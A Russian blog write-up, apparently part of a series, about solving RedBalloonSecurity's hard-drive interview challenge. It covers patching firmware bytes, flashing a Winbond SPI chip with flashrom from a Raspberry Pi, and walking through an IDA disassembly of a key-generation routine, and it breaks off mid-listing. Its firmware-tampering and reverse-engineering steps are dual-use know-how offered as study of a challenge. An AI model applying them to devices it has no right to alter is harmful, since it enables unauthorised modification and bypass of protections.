Решение для задачи нашлось супер быстро. Прогнав strings по level_1_makesureitsnotcorrupted.lod, я нашел информацию что и как патчить. ASCII единорога заценил.

        O$HQ9H)\%6QM[h+r4m:4i,XJCPRS        \.                                                              \\      .                                                       \\ _,.+;)_                                                     .\\;~%:88%%.                                                  (( a   `)9,8;%.                                                /`   _) ' `9%%%?                                              (' .-' j    '8%%'                                               `"+   |    .88%)+._____..,,_   ,+%$%.                                :.   d%9`             `-%*'"'~%$.                           ___(   (%C                 `.   68%%9                        ."        \7                  ;  C8%%)`                        : ."-.__,'.____________..,`   L.  \86' ,                       : L    : :            `  .'\.   '.  %$9%)                      ;  -.  : |             \  \  "-._ `. `~"                        `. !  : |              )  >     ". ?                             `'  : |            .' .'       : |                                 ; !          .' .'         : |                                ,' ;         ' .'           ; (                               .  (         j  (            `  \                              """'          ""'             `"" mh  Congratulations! To solve this challenge patch those values: Address: 0x00c, data:0b1b Address: 0xbce, data:002149f249f800219fa049f245f89e48         @<H|XY?W??kFK?B?>y1Ykb!=l.y^ZV:VKwF

Тем временем, я нашел уйму информации о том как эти чипы считывать и записывать. К моему счастью, на Raspberry Pi нашелся SPI интерфейс для работы с flash чипами. К сожалению, под рукой не имелось Male-Female проводов, но имея Male-Male и Female-Female можно смело добится желаемого. На фото с бумажкой под Raspberry Pi, слева вверху видно плюс минус схематическое расположение контактов flash чипа, а также их цвета дабы не запутаться. Единственным моментом, который меня оочень смущал, был размер отверствий. Я подобное никогда не припаивал, и, дабы не сломать ничего, мне пришлось обрезать 1 конец Male-Male провода, отогнуть 4 из 8 жил (больше в отверствие банально не пролезет), и отогнуть их немного с другого конца. Таким образом мы получили невероятно нестабильное соединение с платой. Но и вероятность что-то сломать в таком случае крайне мала. Как видите, GND шнур не подсоединен никуда. Это из-за того, что плата мне не знакома, и я не стал рисковать контачить его туда, где я думаю есть заземление. Этот контакт я подсоединил пальцами напрямую к Winbond чипу - этого хватит на время считывания и заливки прошивки.

Прошивка чипа

Сам по себе процесс прошивки делается через flashrom c указанием девайса SPI, скорости, и файлов куда\от-куда. Из-за нестабильного соединения, Raspberry Pi иногда не видела чип. А даже когда и видела, мне приходилось считывать дважды дабы не было ошибок. Проверка контрольной суммы в таком случае обязательна!

Flashrom прошивка

Детально описывать процесс изменения прошивки не буду. Скажу лишь, что нам надо открыть файл прошивки (ff или ff2 :D) hex-редактором, изменить там несколько байт в соответствии с решением из level_1_makesureitsnotcorrupted.lod, и залить обратно с помощью того же flashrom.

После проделанных изменений, я прикрутил плату обратно к диску, подключил его, и меня ждал открытый раздел LEVEL2.

Друзья, если вам интересен подобный материал, ставьте плюсики. Весь процесс, так или иначе, в один пост не поместится.

Подробнее..

Ломаем зашифрованный диск для собеседования от RedBalloonSecurity. Part 1

29.03.2021 00:13:50 | Автор: admin

А что дальше?

Хабровчане и хабровчушки, эта статья является долгожданным (ага, в пару дней) продолжением моей предыдущей статьи о взломе жесткого диска для собеседования в инфосек компанию RedBalloonSecurity. Любителей поковырять железяки я спешу разочаровать, поскольку все дальнейшие манипуляции с диском будут проводится только на уровне ассемблерного кода и логики. Поэтому, приготовьте чай/кофе или чего покрепче, ведь мы снова лезем в embeded дебри и опять пускаемся в неизвестность.

LEVEL2

Моему счастью не было предела когда я залил пропатченую прошивку на Winbond Flash чип и ядро моего Debian-неттопа распознало еще 1 раздел диска. Здесь будет немного больше информации, чем в предыдущем разделе. Ведь повышая уровень, сложность нашей с вами задачи только увеличивается.

Содержимое раздела:

tkchk@ubuntu:/media/user/LEVEL2$ file *0001-keystone-armv5.patch: unified diff output, ASCII textlevel_2.html:              HTML document, ASCII text, with very long lineslevel2_instructions.txt:   ASCII textlevel_2.lod:               datalevel_3.lod.7z.encrypted:  7-zip archive data, version 0.3
  1. level_2.lod - это новый файл прошивки для диска. Прошиваемся так же, как и в предыдущей статье. Здесь ничего нового.

  2. level_3.lod.7z.encrypted - это файл прошивки для следующего уровня. Судя по его разрешению, файл находится в запароленном 7z архиве. Нам нужно решить текущий уровень чтоб достать пароль от слудующего.

  3. level2_instructions.txt - это, собственно, инструкции что и как делать. Подсказки тоже имеются.

  4. 0001-leystone-armv5.patch - это патч для Keystone Assembler. Keystone это компилятор и набор С-шных библиотек для перевода ассемблерного кода в опкоды для процессора. Об этом чуть позже.

  5. level_2.html - изюминка текущего уровня. Выглядит точ-в-точ как текст, который генерирует IDA Pro при загрузке бинарника.

Для тех, кто не в курсе, IDA Pro это программа для дизассемблирования. Дело в том, что когда мы пишем код на высокоуровневых языках (C, Python и тд) и подвергаем его компиляции, мы переводим наш +- human-readable текст в язык машинного кода. Тоесть, мы опускаем более понятную человеку логику в логику, которая больше понятна машине. Машина не понимает что такое функция, ведь функция, это скорее абстракция в голове у программиста. Процесс дизассемблирования позволяет сделать наоборот - поднять логику из машинного на человекопонятный уровень. Некоторые дизассемблеры позволяют поднять логику даже на C-шный уровень, хоть и не всегда делают это корректно (на самом деле очень даже корректно, но читать такой код порой бывает сложнее чем ассемблер). Если работаем с чем-то мелким, и надо кабанчиком понять что там происходит - этого хватит, но для более высокоточных вещей нужен уровень ассемблера. Это мы и получили в виде level_2.html файла.

tkchk@ubuntu:/media/user/LEVEL2$ cat level2_instructions.txt Congratulations... you have made it to the other sideBack when I was an intern, I designed this key generation function. My boss hated it.I hate my boss.1. Invoke the function with command R<User_Input>2. Find the key you must!!!!!level2.html provides disassembly of a memory snapshot of the key generator function.To help... guide... you in this adventure, you'll find a patchfile for the keystoneassembler to force the correct architecture.Also, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASCII
0001-keystone-armv5.patch
tkchk@ubuntu-mac:/media/tkchk/LEVEL2$ cat 0001-keystone-armv5.patch From 5532e7ccbc6c794545530eb725bed548cbc1ac3e Mon Sep 17 00:00:00 2001From: mysteriousmysteries <mysteriousmysteries@redballoonsecurity.com>Date: Wed, 15 Feb 2017 09:23:31 -0800Subject: [PATCH] armv5 support--- llvm/keystone/ks.cpp | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)diff --git a/llvm/keystone/ks.cpp b/llvm/keystone/ks.cppindex d1819f0..8c66f19 100644--- a/llvm/keystone/ks.cpp+++ b/llvm/keystone/ks.cpp@@ -250,7 +250,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)      if (arch < KS_ARCH_MAX) {         ks = new (std::nothrow) ks_struct(arch, mode, KS_ERR_OK, KS_OPT_SYNTAX_INTEL);-        +         if (!ks) {             // memory insufficient             return KS_ERR_NOMEM;@@ -294,7 +294,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)                         TripleName = "armv7";                         break;                     case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:-                        TripleName = "thumbv7";+                        TripleName = "armv5te";                         break;                 } @@ -566,7 +566,7 @@ int ks_asm(ks_engine *ks,     Streamer = ks->TheTarget->createMCObjectStreamer(             Triple(ks->TripleName), Ctx, *ks->MAB, OS, CE, *ks->STI, ks->MCOptions.MCRelaxAll,             /*DWARFMustBeAtTheEnd*/ false);-            +     if (!Streamer) {         // memory insufficient         delete CE;@@ -594,7 +594,7 @@ int ks_asm(ks_engine *ks,         return KS_ERR_NOMEM;     }     MCTargetAsmParser *TAP = ks->TheTarget->createMCAsmParser(*ks->STI, *Parser, *ks->MCII, ks->MCOptions);-    if (!TAP) { +    if (!TAP) {         // memory insufficient         delete Parser;         delete Streamer;-- 1.9.1
level_2.html
ROM:00332D00ROM:00332D00 ; Segment type: Pure codeROM:00332D00                 AREA ROM, CODE, READWRITE, ALIGN=0ROM:00332D00                 ; ORG 0x332D00ROM:00332D00                 CODE16ROM:00332D00ROM:00332D00 ; =============== S U B R O U T I N E =======================================ROM:00332D00ROM:00332D00 ; prototype: generate_key(key_part_num, integrity_validate_table, key_table)ROM:00332D00 ; Function called when serial console input is 'R'. Generates key parts in R0-R3.ROM:00332D00 ; The next level to reach, the key parts to print you must!ROM:00332D00ROM:00332D00 generate_keyROM:00332D00ROM:00332D00 var_28          = -0x28ROM:00332D00ROM:00332D00                 PUSH            {R4-R7,LR}ROM:00332D02                 SUB             SP, SP, #0x10ROM:00332D04                 MOVS            R7, R1ROM:00332D06                 MOVS            R4, R2ROM:00332D08                 MOVS            R5, R0ROM:00332D0A                 LDR             R1, =0x6213600 ; "R"...ROM:00332D0C                 LDRB            R0, [R1,#1]ROM:00332D0E                 CMP             R0, #0x31ROM:00332D10                 BNE             loc_332D1AROM:00332D12                 ADDS            R0, R1, #2ROM:00332D14                 BLX             ahex2byteROM:00332D18                 LDR             R1, =0x6213600ROM:00332D1AROM:00332D1A loc_332D1A                              ; CODE XREF: generate_key+10jROM:00332D1A                 MOV             R2, SPROM:00332D1CROM:00332D1C loc_332D1C                              ; CODE XREF: generate_key+28jROM:00332D1C                 LDRB            R6, [R1]ROM:00332D1E                 ADDS            R1, R1, #1ROM:00332D20                 CMP             R6, #0xDROM:00332D22                 BEQ             loc_332D2AROM:00332D24                 STRB            R6, [R2]ROM:00332D26                 ADDS            R2, R2, #1ROM:00332D28                 B               loc_332D1CROM:00332D2A ; ---------------------------------------------------------------------------ROM:00332D2AROM:00332D2A loc_332D2A                              ; CODE XREF: generate_key+22jROM:00332D2A                 SUBS            R5, #0x49ROM:00332D2C                 CMP             R5, #9ROM:00332D2E                 BGT             loc_332DD8ROM:00332D30                 LSLS            R5, R5, #1ROM:00332D32                 ADDS            R5, R5, #6ROM:00332D34                 MOV             R0, PCROM:00332D36                 ADDS            R5, R0, R5ROM:00332D38                 LDRH            R0, [R5]ROM:00332D3A                 ADDS            R0, R0, R5ROM:00332D3C                 BX              R0ROM:00332D3C ; ---------------------------------------------------------------------------ROM:00332D3E                 DCW 0x15ROM:00332D40                 DCW 0xA6ROM:00332D42                 DCW 0xA4ROM:00332D44                 DCW 0xA2ROM:00332D46                 DCW 0xA0ROM:00332D48                 DCW 0x9EROM:00332D4A                 DCW 0x2EROM:00332D4C                 DCW 0x50ROM:00332D4E                 DCW 0x98ROM:00332D50                 DCW 0xCROM:00332D52 ; ---------------------------------------------------------------------------ROM:00332D52ROM:00332D52 key_part1ROM:00332D52                 LDR             R0, [R4]ROM:00332D54                 MOVS            R6, #1ROM:00332D56                 STR             R6, [R7]ROM:00332D58                 BLX             loc_332DECROM:00332D5C                 CODE32ROM:00332D5CROM:00332D5C key_part2ROM:00332D5C                 LDR             R6, [R7]ROM:00332D60                 CMP             R6, #1ROM:00332D64                 LDREQ           R1, [R4,#4]ROM:00332D68                 EOREQ           R1, R1, R0ROM:00332D6C                 MOVEQ           R6, #1ROM:00332D70                 STREQ           R6, [R7,#4]ROM:00332D74                 B               loc_332DECROM:00332D78 ; ---------------------------------------------------------------------------ROM:00332D78ROM:00332D78 key_part3ROM:00332D78                 LDR             R6, [R7]ROM:00332D7C                 CMP             R6, #1ROM:00332D80                 LDREQ           R6, [R7,#4]ROM:00332D84                 CMPEQ           R6, #1ROM:00332D88                 LDREQ           R2, [R4,#8]ROM:00332D8C                 EOREQ           R2, R2, R1ROM:00332D90                 MOVEQ           R6, #1ROM:00332D94                 STREQ           R6, [R7,#8]ROM:00332D98                 B               loc_332DECROM:00332D9C ; ---------------------------------------------------------------------------ROM:00332D9CROM:00332D9C key_part4ROM:00332D9C                 LDR             R6, [R7]ROM:00332DA0                 CMP             R6, #1ROM:00332DA4                 LDREQ           R6, [R7,#4]ROM:00332DA8                 CMPEQ           R6, #1ROM:00332DAC                 LDREQ           R6, [R7,#8]ROM:00332DB0                 CMPEQ           R6, #1ROM:00332DB4                 LDREQ           R3, [R4,#0xC]ROM:00332DB8                 EOREQ           R3, R3, R2ROM:00332DBC                 MOVEQ           R6, #1ROM:00332DC0                 STREQ           R6, [R7,#8]ROM:00332DC4                 LDR             R4, =0x35A036 ; "Key Generated: %s%s%s%s"ROM:00332DC8                 BLX             loc_332DDCROM:00332DCC                 MOV             R1, SPROM:00332DD0                 LDR             R4, =0x35A05C ; "SP: %x"ROM:00332DD4                 BLX             loc_332DDCROM:00332DD8                 CODE16ROM:00332DD8ROM:00332DD8 loc_332DD8                              ; CODE XREF: generate_key+2EjROM:00332DD8                 LDR             R4, =0x35A020 ; "key not generated"ROM:00332DDA                 NOPROM:00332DDCROM:00332DDC loc_332DDC                              ; CODE XREF: generate_key+C8pROM:00332DDC                                         ; generate_key+D4pROM:00332DDC                 SUB             SP, SP, #4ROM:00332DDE                 STR             R0, [SP,#0x28+var_28]ROM:00332DE0                 MOVS            R0, R4ROM:00332DE2                 LDR             R4, =0x68B08DROM:00332DE4                 BLX             R4ROM:00332DE6                 ADD             SP, SP, #4ROM:00332DE8                 BLX             loc_332DECROM:00332DE8 ; End of function generate_keyROM:00332DE8ROM:00332DEC                 CODE32ROM:00332DECROM:00332DEC loc_332DEC                              ; CODE XREF: generate_key+58pROM:00332DEC                                         ; generate_key+74j ...ROM:00332DEC                 ADD             SP, SP, #0x20ROM:00332DF0                 LDR             LR, [SP],#4ROM:00332DF4                 BX              LRROM:00332DF8ROM:00332DF8 ; =============== S U B R O U T I N E =======================================ROM:00332DF8ROM:00332DF8ROM:00332DF8 ahex2byte                               ; CODE XREF: generate_key+14pROM:00332DF8                 STMFD           SP!, {R4-R6,LR}ROM:00332DFC                 MOV             R4, R0ROM:00332E00                 MOV             R6, R0ROM:00332E04ROM:00332E04 loc_332E04                              ; CODE XREF: ahex2byte+6CjROM:00332E04                 LDRB            R0, [R4]ROM:00332E08                 CMP             R0, #0xDROM:00332E0C                 BEQ             loc_332E68ROM:00332E10                 BL              sub_332E70ROM:00332E14                 CMN             R0, #1ROM:00332E18                 BNE             loc_332E2CROM:00332E1C                 LDRB            R0, [R4]ROM:00332E20                 BL              sub_332E98ROM:00332E24                 CMN             R0, #1ROM:00332E28                 BEQ             locret_332E6CROM:00332E2CROM:00332E2C loc_332E2C                              ; CODE XREF: ahex2byte+20jROM:00332E2C                 MOV             R5, R0ROM:00332E30                 LDRB            R0, [R4,#1]ROM:00332E34                 BL              sub_332E70ROM:00332E38                 CMN             R0, #1ROM:00332E3C                 BNE             loc_332E50ROM:00332E40                 LDRB            R0, [R4,#1]ROM:00332E44                 BL              sub_332E98ROM:00332E48                 CMN             R0, #1ROM:00332E4C                 BEQ             locret_332E6CROM:00332E50ROM:00332E50 loc_332E50                              ; CODE XREF: ahex2byte+44jROM:00332E50                 MOV             R5, R5,LSL#4ROM:00332E54                 ADD             R0, R5, R0ROM:00332E58                 STRB            R0, [R6]ROM:00332E5C                 ADD             R4, R4, #2ROM:00332E60                 ADD             R6, R6, #1ROM:00332E64                 B               loc_332E04ROM:00332E68 ; ---------------------------------------------------------------------------ROM:00332E68ROM:00332E68 loc_332E68                              ; CODE XREF: ahex2byte+14jROM:00332E68                 STRB            R0, [R6]ROM:00332E6CROM:00332E6C locret_332E6C                           ; CODE XREF: ahex2byte+30jROM:00332E6C                                         ; ahex2byte+54jROM:00332E6C                 LDMFD           SP!, {R4-R6,PC}ROM:00332E6C ; End of function ahex2byteROM:00332E6CROM:00332E70ROM:00332E70 ; =============== S U B R O U T I N E =======================================ROM:00332E70ROM:00332E70ROM:00332E70 sub_332E70                              ; CODE XREF: ahex2byte+18pROM:00332E70                                         ; ahex2byte+3CpROM:00332E70                 CMP             R0, #0xDROM:00332E74                 BEQ             loc_332E90ROM:00332E78                 CMP             R0, #0x30ROM:00332E7C                 BLT             loc_332E90ROM:00332E80                 CMP             R0, #0x39ROM:00332E84                 BGT             loc_332E90ROM:00332E88                 SUB             R0, R0, #0x30ROM:00332E8C                 B               locret_332E94ROM:00332E90 ; ---------------------------------------------------------------------------ROM:00332E90ROM:00332E90 loc_332E90                              ; CODE XREF: sub_332E70+4jROM:00332E90                                         ; sub_332E70+Cj ...ROM:00332E90                 MVN             R0, #0ROM:00332E94ROM:00332E94 locret_332E94                           ; CODE XREF: sub_332E70+1CjROM:00332E94                 BX              LRROM:00332E94 ; End of function sub_332E70ROM:00332E94ROM:00332E98ROM:00332E98 ; =============== S U B R O U T I N E =======================================ROM:00332E98ROM:00332E98ROM:00332E98 sub_332E98                              ; CODE XREF: ahex2byte+28pROM:00332E98                                         ; ahex2byte+4CpROM:00332E98                 CMP             R0, #0x41ROM:00332E9C                 BLT             loc_332EB4ROM:00332EA0                 CMP             R0, #0x46ROM:00332EA4                 BGT             loc_332EB4ROM:00332EA8                 SUB             R0, R0, #0x41ROM:00332EAC                 ADD             R0, R0, #0xAROM:00332EB0                 B               locret_332EB8ROM:00332EB4 ; ---------------------------------------------------------------------------ROM:00332EB4ROM:00332EB4 loc_332EB4                              ; CODE XREF: sub_332E98+4jROM:00332EB4                                         ; sub_332E98+CjROM:00332EB4                 MVN             R0, #0ROM:00332EB8ROM:00332EB8 locret_332EB8                           ; CODE XREF: sub_332E98+18jROM:00332EB8                 BX              LRROM:00332EB8 ; End of function sub_332E98ROM:00332EB8ROM:00332EB8 ; ---------------------------------------------------------------------------ROM:00332EBC dword_332EBC    DCD 0x6213600           ; DATA XREF: generate_key+ArROM:00332EC0 dword_332EC0    DCD 0x6213600           ; DATA XREF: generate_key+18rROM:00332EC4 dword_332EC4    DCD 0x35A036            ; DATA XREF: generate_key+C4rROM:00332EC8 dword_332EC8    DCD 0x35A05C            ; DATA XREF: generate_key+D0rROM:00332ECC dword_332ECC    DCD 0x35A020            ; DATA XREF: generate_key:loc_332DD8rROM:00332ED0 off_332ED0      DCD 0x68B08D            ; DATA XREF: generate_key+E2rROM:00332ED4                 DCB 0, 0, 0, 0ROM:00332ED4 ; ROM           endsROM:00332ED4ROM:00332ED4                 END

Серьезно? ASM?

Дабы сделать эту статью более понятной широкому кругу лиц, наверное стоит дать понять что же это за дамп из IDA Pro. Опишем все до мелочей :)

В этом code-box приведены первые 20 строк из level_2.html файла:

01. ROM:00332D0002. ROM:00332D00 ; Segment type: Pure code03. ROM:00332D00                 AREA ROM, CODE, READWRITE, ALIGN=004. ROM:00332D00                 ; ORG 0x332D0005. ROM:00332D00                 CODE1606. ROM:00332D0007. ROM:00332D00 ; =============== S U B R O U T I N E =======================================08. ROM:00332D0009. ROM:00332D00 ; prototype: generate_key(key_part_num, integrity_validate_table, key_table)10. ROM:00332D00 ; Function called when serial console input is 'R'. Generates key parts in R0-R3.11. ROM:00332D00 ; The next level to reach, the key parts to print you must!12. ROM:00332D0013. ROM:00332D00 generate_key14. ROM:00332D0015. ROM:00332D00 var_28          = -0x2816. ROM:00332D0017. ROM:00332D00                 PUSH            {R4-R7,LR}18. ROM:00332D02                 SUB             SP, SP, #0x1019. ROM:00332D04                 MOVS            R7, R120. ROM:00332D06                 MOVS            R4, R2...

Колонка слева с ROM:XXXXXXXX - это адреса памяти. При загрузке бинарника в IDA Pro, мы должны препроверить, правильно ли IDA Pro поняла для какой архитектуры (ARM, x86, MIPS и тд. Их, ну прям очень большое количество) собран наш бинарник (в большинстве случаев, автоопределение работает очень хорошо, но если мы вгружаем не бинарник, а целый дамп памяти - некоторые вещи могут распознатся некорректно), считываем файл байт за байтом, и эта левая колонка автоинкрементируется каждый раз когда IDA Pro понимает что это за кусок данных. Данные в бинарнике могут быть поняты одним из следующих образов:

  • Данные. Самый низкий уровень понимания логики. Это когда кусок данных не представляет собой ничего конкретного. В дампе отображается как DCD, DCW, DCB - doubleword, word, byte соответственно (эти типы данных могут быть разных размеров на разных системах. Здесь советую погуглить и почитать. Сам это не сильно шарю). На такие штуки обычно есть ссылки из других участков кода. Назначение может быть самое разное. Далее будет понятно.

  • Код. Это когда кусок данных представляет собой 1 атомарную единицу операции (записать данные из регистра в память, сравнить числа и тд).

  • Строка. Это когда IDA Pro натыкается на массив данных которые лежат в ASCII диапазоне. От 0x20 до 0x7E (ASCII стандарт также описывает числа ниже 0x20, но они не имеют "текстового" смысла). Вполне возможно, что диапазон расширяется и на другие кодировки, но это вне контекста данной статьи.

  • Подпроцедура (Subroutine). Это самый высокий уровень понимания ассемблерной логики - когда IDA Pro видит функцию. Дальше мы видим то же самое, как если бы видели код. Но понимание того, что это не просто код, а функция дает невероятный скачок в осознании происходящего.

На 5й строке мы видим надпись CODE16. Это очень важно, поскольку этот дамп снят с кода для ARM процессоров (IC от LSI, который есть на плате от жесткого диска построен именно на этой архитектуре). У ARM процессоров есть 2 режима работы - ARM и Thumb.

  • В режиме ARM у нас есть доступ, наверное, ко всем ассемблерным операциям, но такие инструкции занимают 4 байта

  • В режиме Thumb мы немножко ограничены, но такие инструкции занимают 2 байта.

Причины по которым были созданы эти 2 режима мне неизвестны (знатоки в комментариях очень даже приветствуются), но могу сказать следующее.

  • В режиме ARM мы, скорее всего, будем исполнять желаемую логику быстрее. Как минимум потому что у нас есть доступ к инструкциям типа CMPEQ, которая выполнит операцию сравнения чисел только в том случае, когда результат предыдущго сравнения был успешным. Получается, что в этом режиме мы можем отдать логику if-else на железо. И сделать 2 операции (проверка предыдущего результата и выполнение новой операции) за 1 цикл процессора. Но и размер инструкций будет больше, а значит нужно использовать больше памяти.

  • В режиме Thumb мы не можем использовать подобное, но размер инструкций будет в 2 раза меньше, а значит затраты памяти будут ниже.

  • Еще стоит сказать, что архитектура ARM (не путать с режимом) прекрасна тем, что размер инструкций у них фиксирован (2 или 4 байта), чего нельзя сказать об x86

В общем, вот это CODE16 значит что в этом моменте процессор находится в Thumb режиме. И, как мы видим дальше, адреса памяти инкрементируются по 2 (конечно, там, где есть инструкция).

На строках 9-11 мы видим нарошно оставленные комментарии. Они говорят нам, что этот код исполняется тогда, когда мы вводим в серийник диска букву R и что-то после нее. Также, мы видим, что суть задачи - зарулить исполнение код таким образом, чтоб диск отдал нам части ключей. Совмещая эти ключи, мы получаем пароль от level_3.lod.7z.encrypted.

Строка 13 являет собой адрес, на который есть отсылки в коде. Дело в том, что программы на ассемблере не исполняются линейно. Инструкции типа B, BL, BX, BLX переводят исполнение кода по новому адресу. И когда IDA Pro видит такие инструкции, она автоматически дает имя этому адресу. В нашем случае, ребята из RedBalloonSecurity переименовали этот адрес в generate_key. Переименовывать позиции в коде, на который есть ссылки является прекрасным способом оставить для себя заметку о том, что делает определенный кусок кода.

На строке 15 мы видим переменную. Надеюсь, все помнят об области видимости в С? Реализация этого механизма на уровне ассемблера очень хитрая. Здесь используется структура данных типа стек.

мае, вот к чему stack в stackoverflow

У каждого процессора, помимо кэша, есть встроенное хранилище временных данных - регистры. Это самая быстрая память компьютера, как такового. Все операции с регистрами выполняются невероятно быстро. А поэтому, программу нужно строить таким образом чтоб минимизировать обращения к памяти, и почаще использовать регистры.

У ARM процессоров 15 регистров. Для большинства, можно писать код и использовать их как хочешь (хотя внутри компилятора все же есть определенные правила о том, какой регистр для чего использовать). Они имеют имена вида R0, R1 ... R15. Последние имеют специальное назначение:

  • SP (R13) - Stack Pointer. В этом регистре хранится адрес вершины стека

  • BP (R7 в Thumb, R11 в ARM) - Base Pointer. Здесь находится адрес начала стека

  • LR (R14) - Link Register. Если у бренч (B) инструкции есть приставка L, это значит, что адрес в PC нужно записать в LR (там есть определенная специфика, которую я не совсем понимаю. К этому адресу в LR должно добавлятся +2 байта для Thumb, или +4 байта для ARM. Но, это не точно). Потом это используется для возврата на предыдущее место в коде, например через BX LR. По сути, это аналог подхода, когда мы сохраняем адрес возврата на стек, но здесь используем регистр. Из преисуществ - он быстрее и часть програмной логики падает на CPU без хождения по памяти. Недостаток - регистр всего один, и предыдущие адреса возврата все же прийдется складывать на стек.

  • PC (R15) - Program Counter. Здесь находится адрес инструкции, которую процессор выполняет в данный момент. Писать сюда напрямую, кажись, нельзя. Но этот регистр полезен если мы хотим сделать прыжок на другой адрес. Даже если мы работаем с 16-битной архитектурой, мы, ну никак не можем сказать процессору прыгнуть на 16-битный адрес имея 2 байта на 1 инструкцию. Большинство инструкций для прыжка используют именно сдвиг от того, что находится в PC.

  • CSPR - Current State Process Register. Это специфический регистр. К нему нельзя обратится целиком, как и записать сюда что-то. Данные внутри этого регистра формируются автоматически на основе того, какие инструкции выполняет процессор. Он разбит на сегменты, и хранит в себе информацию о текущем состоянии процессора. К примеру, если мы делаем инструкцию CMP (сравнить числа), результат сравнения (0 или 1) пишется в один из битов этого регистра. А в дальнейшем это используется для условных операций.

Стек это определенное место в памяти, где хранятся значения локальных переменных, аргументы функций, адреса возвратов, а также предыдущее значение BP. Стек логически разбит на сегменты (stack frames). Каждый сегмент принадлежит какой-то определенной функции. И, когда мы вызываем из одной функции другую, мы по сути, сдвигаем адреса BP & SP чуть ниже(!) в памяти. Но перед тем как создавать новый сегмент на стеке, мы должны знать адрес, куда должен вернутся PC после завершения функции - он сохраняется на стеке (Return Address) перед вызовом функции. Также, чтоб при возврате, сегмент стека стал того же размера что и был, мы сохраняем предыдущее значение BP (Saved %ebp) на этот же стек. Выглядит все это дело примерно так (%ebp = BP, %esp = SP):

В предыдущем абзаце я сказал, что при создании нового сегмента стека, адреса BP & SP смещаются ниже. Дело в том, что "так сложилось исторически". Стек это FIFO конструкция, которая меняется в процессе исполнения программы. И компилятор не знает какого размера он может быть. То же самое касается кучи (heap) - памяти, которую мы запрашиваем у системы через семейство вызовов malloc (glibc). При выделении памяти в куче, ее адреса растут вверх, а вот когда растет стек, его адреса растут вниз. Стоит оговорится, что мы работаем с embeded устройством. Понятия кучи здесь, может и не быть (опять же, прошу экспертов меня поправить).

У ARM процессоров есть специальные семейство инструкций, которые работают со стеком: PUSH, POP, STMFD, LDMFD (уверен, есть еще, но для наших делишек этого хватит).

  • PUSH кладет то, что в аргументе на стек, и увеличивает стек (на самом деле уменьшает адрес)

  • POP снимает со стека данные и кладет в то, что в аргументе (зачастую регистр, но может быть и адрес памяти) и уменьшает стек (на самом деле увеличивает адрес)

  • STMFD, LDMFD делают то же самое, но туда можно запихнуть несколько регистров, и снять со стека несколько значений в рамках одной инструкции. И, кажись, указать, стоит ли подстраивать SP в зависимости от количества впихнутых регистров. Опять же, прелести ARM архитектуры!

Готовы? Ныряем!

Для того, чтоб что-то правильно сломать, нужно это правильно понять. Начнем с первого куска.

...13. ROM:00332D00 generate_key14. ROM:00332D0015. ROM:00332D00 var_28          = -0x2816. ROM:00332D0017. ROM:00332D00                 PUSH            {R4-R7,LR}18. ROM:00332D02                 SUB             SP, SP, #0x1019. ROM:00332D04                 MOVS            R7, R120. ROM:00332D06                 MOVS            R4, R221. ROM:00332D08                 MOVS            R5, R022. ROM:00332D0A                 LDR             R1, =0x6213600 ; "R"...23. ROM:00332D0C                 LDRB            R0, [R1,#1]24. ROM:00332D0E                 CMP             R0, #0x3125. ROM:00332D10                 BNE             loc_332D1A26. ROM:00332D12                 ADDS            R0, R1, #227. ROM:00332D14                 BLX             ahex2byte...

Строка 17-21. Первая инструкция, это PUSH. Она сохраняет на стек переменные из регистров R4-R7 и LR на стек, тоесть сохраняет предыдущий stack frame. Потом, отнимаем 16 байт от SP (увеличиваем стек). Копируем из регистров R0-R2 аргументы, которые были переданы в функцию generate_key в их "рабочие" места. Как видим, в прототипе было 3 аргумента. Регистров столко же. В предыдущем разделе я говорил, что аргументы падают на стек - это правда только в том случае, когда аргументов больше, чем 3 (или 4, уже не помню).

Процедура в предыдущем абзаце называется Function Prologue. Тоесть, не происходит ничего, что касается программной логики, но выполняется подготовка стека и регистров. Мне кажется, именно по подобным шаблонам IDA Pro отличает код от подпроцедур.

Строка 22-23. Грузим адрес, который будет указывать на то, что мы вводим в консольник диска в R1. Инструкция

LDRB R0, [R1,#1]

берет то, что лежит в R1, добавляет единицу, лезет в память по этому адресу (если значение в квадратных скобках, сначала надо интерпретировать эти данные как адрес), берет 1 байт и сохраняет его в R0.

Строка 24-25. Идет сравнение 2го вводимого символа с 0x31. В ASCII 0x31 это "1". Если мы ввели после буквы R единичку, выполнение кода не пойдет на loc_332D1A. Позже разберем что это за место.

Строка 26-27. Добавляем к адресу наших вводимых данных двойку и сохраняем в R0. По сути, мы смещаем адрес на 2 байта вперед. Тоесть, теперь он указывает на первый символ после R1 - "R1_" (на underscore). Далее, нас ждет безусловный прыжок на функцию ahex2byte. Но, это не просто прыжок. BLX, кроме прыжка, делает еще 2 замечательные вещи - сохраняет текущий адрес PC в LR, и переключает нас в ARM режим! внутри функции ahex2byte у нас теперь 4 байта на инструкцию. Помним, что R0 является первым аргументом при вызове функции.

Дабы подитожить, вот то, как пердыдущий кусок выглядел бы в С-шном виде. Этот код не правильный. Он чисто для наглядности:

void main () {  char *input = "R10000";  if (input[1] == "1") {    &input = &input + 2;    ahex2byte(&input);  }  else {    goto: loc_332D1A;  }}  

ахекс2байт

138. ROM:00332DF8 ; =============== S U B R O U T I N E =======================================139. ROM:00332DF8140. ROM:00332DF8141. ROM:00332DF8 ahex2byte                               ; CODE XREF: generate_key+14p142. ROM:00332DF8                 STMFD           SP!, {R4-R6,LR}143. ROM:00332DFC                 MOV             R4, R0144. ROM:00332E00                 MOV             R6, R0145. ROM:00332E04146. ROM:00332E04 loc_332E04                              ; CODE XREF: ahex2byte+6Cj147. ROM:00332E04                 LDRB            R0, [R4]148. ROM:00332E08                 CMP             R0, #0xD149. ROM:00332E0C                 BEQ             loc_332E68150. ROM:00332E10                 BL              sub_332E70151. ROM:00332E14                 CMN             R0, #1152. ROM:00332E18                 BNE             loc_332E2C153. ROM:00332E1C                 LDRB            R0, [R4]154. ROM:00332E20                 BL              sub_332E98155. ROM:00332E24                 CMN             R0, #1156. ROM:00332E28                 BEQ             locret_332E6C157. ROM:00332E2C158. ROM:00332E2C loc_332E2C                              ; CODE XREF: ahex2byte+20j159. ROM:00332E2C                 MOV             R5, R0160. ROM:00332E30                 LDRB            R0, [R4,#1]161. ROM:00332E34                 BL              sub_332E70162. ROM:00332E38                 CMN             R0, #1163. ROM:00332E3C                 BNE             loc_332E50164. 